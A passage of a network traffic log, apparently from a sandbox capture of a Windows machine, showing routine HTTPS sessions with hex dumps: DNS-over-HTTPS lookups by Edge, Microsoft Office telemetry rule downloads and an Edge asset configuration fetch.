2024-11-17 11:35:34 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49827	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 11:35:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 11:35:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3f6b010ba52e78-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 11:35:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04c36cdc-401e-002a-6f4a-38c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-164f84587bfmxxfphC1DFW3au800000002m000000000aq63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-164f84587bfghdt4hC1DFWu5nn00000003xg00000000ctes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-16547b76f7fkz9l7hC1DFW35uc00000001b0000000004fsb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: fd06302c-e01e-0052-3f7f-38d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-1866b5c5fbbr78bbhC1DFWqz2n00000004dg0000000036t5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49831	13.107.246.45	443	5508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-16547b76f7fzwxm2hC1DFWt5hw00000001w0000000003n1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49835	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:34 UTC	576	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 32fa03f4-d01e-004c-7ddf-37af18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113534Z-16547b76f7fgvq8chC1DFWhd2w00000004tg0000000070q9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-17 11:35:34 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-17 11:35:34 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7fkf5v9hC1DFW2y5s0000000470000000000g9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 